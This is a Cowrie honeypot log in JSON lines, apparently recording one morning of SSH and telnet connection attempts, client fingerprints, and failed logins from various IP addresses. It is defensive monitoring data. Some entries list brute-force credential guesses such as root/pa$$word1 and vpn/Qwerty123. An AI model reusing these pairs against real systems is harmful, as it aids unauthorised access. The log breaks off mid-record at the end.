{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:13:35.406783Z","src_ip":"103.15.226.202","session":"b94a5dedf77e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"avonline","message":"login attempt [root/avonline] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:13:36.143576Z","src_ip":"103.15.226.202","session":"b94a5dedf77e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:13:37.389913Z","src_ip":"103.15.226.202","session":"b94a5dedf77e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":37814,"dst_ip":"10.17.0.5","dst_port":23,"session":"08e9a74c103d","protocol":"telnet","message":"New connection: 212.55.149.117:37814 (10.17.0.5:23) [session: 08e9a74c103d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:13:42.924886Z"}
{"eventid":"cowrie.session.closed","duration":61.889183044433594,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:14:03.819007Z","src_ip":"212.55.149.117","session":"248013dfa0e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":16123,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4c4aa3359d3","protocol":"telnet","message":"New connection: 212.55.149.117:16123 (10.17.0.5:23) [session: b4c4aa3359d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:14:38.858967Z"}
{"eventid":"cowrie.session.closed","duration":61.78414559364319,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:14:44.708933Z","src_ip":"212.55.149.117","session":"08e9a74c103d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":52310,"dst_ip":"159.203.135.109","dst_port":22,"session":"d79e558b5ac8","protocol":"ssh","message":"New connection: 2.57.121.25:52310 (159.203.135.109:22) [session: d79e558b5ac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:15:03.075225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:15:03.081290Z","src_ip":"2.57.121.25","session":"d79e558b5ac8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:15:03.187712Z","src_ip":"2.57.121.25","session":"d79e558b5ac8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.147.159.91","src_port":60364,"dst_ip":"10.17.0.5","dst_port":22,"session":"9095cc141716","protocol":"ssh","message":"New connection: 103.147.159.91:60364 (10.17.0.5:22) [session: 9095cc141716]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:15:03.672358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:15:03.676828Z","src_ip":"103.147.159.91","session":"9095cc141716","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"17081983","message":"login attempt [user/17081983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:15:03.691688Z","src_ip":"2.57.121.25","session":"d79e558b5ac8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:15:03.927597Z","src_ip":"103.147.159.91","session":"9095cc141716","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"17081976","message":"login attempt [user/17081976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:15:04.818376Z","src_ip":"2.57.121.25","session":"d79e558b5ac8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"Aa123456","message":"login attempt [esuser/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:15:04.930461Z","src_ip":"103.147.159.91","session":"9095cc141716","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"17071993","message":"login attempt [user/17071993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:15:05.930683Z","src_ip":"2.57.121.25","session":"d79e558b5ac8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:15:06.181928Z","src_ip":"103.147.159.91","session":"9095cc141716","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"17061972","message":"login attempt [user/17061972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:15:07.043364Z","src_ip":"2.57.121.25","session":"d79e558b5ac8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"170486","message":"login attempt [user/170486] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:15:08.153651Z","src_ip":"2.57.121.25","session":"d79e558b5ac8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:15:09.263500Z","src_ip":"2.57.121.25","session":"d79e558b5ac8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":30403,"dst_ip":"10.17.0.5","dst_port":23,"session":"673fb24b06e0","protocol":"telnet","message":"New connection: 212.55.149.117:30403 (10.17.0.5:23) [session: 673fb24b06e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:15:21.334065Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":53892,"dst_ip":"10.17.0.5","dst_port":22,"session":"cff6eb6ba4d3","protocol":"ssh","message":"New connection: 190.242.109.42:53892 (10.17.0.5:22) [session: cff6eb6ba4d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:15:25.582102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:15:25.587648Z","src_ip":"190.242.109.42","session":"cff6eb6ba4d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:15:25.686884Z","src_ip":"190.242.109.42","session":"cff6eb6ba4d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"Qwerty123","message":"login attempt [vpn/Qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:15:26.090928Z","src_ip":"190.242.109.42","session":"cff6eb6ba4d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:15:27.188478Z","src_ip":"190.242.109.42","session":"cff6eb6ba4d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.18941116333008,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:15:40.048263Z","src_ip":"212.55.149.117","session":"b4c4aa3359d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.36461806297302,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:16:22.698578Z","src_ip":"212.55.149.117","session":"673fb24b06e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.49.1.38","src_port":18160,"dst_ip":"159.203.135.109","dst_port":23,"session":"23b0c6bbd2b6","protocol":"telnet","message":"New connection: 65.49.1.38:18160 (159.203.135.109:23) [session: 23b0c6bbd2b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:16:37.227989Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:16:37.251188Z","src_ip":"65.49.1.38","session":"23b0c6bbd2b6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0","password":"Accept: */*","message":"login attempt [User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:16:37.259412Z","src_ip":"65.49.1.38","session":"23b0c6bbd2b6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"","message":"login attempt [Accept-Encoding: gzip/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:16:37.263356Z","src_ip":"65.49.1.38","session":"23b0c6bbd2b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.07828116416931152,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:16:37.306148Z","src_ip":"65.49.1.38","session":"23b0c6bbd2b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":39048,"dst_ip":"159.203.135.109","dst_port":22,"session":"03fc437afcf2","protocol":"ssh","message":"New connection: 193.24.211.100:39048 (159.203.135.109:22) [session: 03fc437afcf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:17:02.161288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:17:02.169610Z","src_ip":"193.24.211.100","session":"03fc437afcf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:17:02.286489Z","src_ip":"193.24.211.100","session":"03fc437afcf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pa$$word1","message":"login attempt [root/pa$$word1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:17:02.726231Z","src_ip":"193.24.211.100","session":"03fc437afcf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:17:03.840242Z","src_ip":"193.24.211.100","session":"03fc437afcf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":32778,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f1e04574100","protocol":"ssh","message":"New connection: 103.15.226.202:32778 (10.17.0.5:22) [session: 3f1e04574100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:17:13.535303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:17:13.541495Z","src_ip":"103.15.226.202","session":"3f1e04574100","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:17:13.789268Z","src_ip":"103.15.226.202","session":"3f1e04574100","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ADMIN123","message":"login attempt [root/ADMIN123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:17:14.527441Z","src_ip":"103.15.226.202","session":"3f1e04574100","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:17:15.773372Z","src_ip":"103.15.226.202","session":"3f1e04574100","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":65154,"dst_ip":"10.17.0.5","dst_port":23,"session":"746ba77cb8d6","protocol":"telnet","message":"New connection: 212.55.149.117:65154 (10.17.0.5:23) [session: 746ba77cb8d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:17:56.090714Z"}
{"eventid":"cowrie.session.closed","duration":58.82623338699341,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:18:54.916824Z","src_ip":"212.55.149.117","session":"746ba77cb8d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":21988,"dst_ip":"10.17.0.5","dst_port":23,"session":"202815c0d56e","protocol":"telnet","message":"New connection: 212.55.149.117:21988 (10.17.0.5:23) [session: 202815c0d56e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:19:03.345014Z"}
{"eventid":"cowrie.session.connect","src_ip":"189.46.1.73","src_port":40018,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e5b2bebe2e6","protocol":"ssh","message":"New connection: 189.46.1.73:40018 (10.17.0.5:22) [session: 1e5b2bebe2e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:19:27.782743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:19:27.826371Z","src_ip":"189.46.1.73","session":"1e5b2bebe2e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openss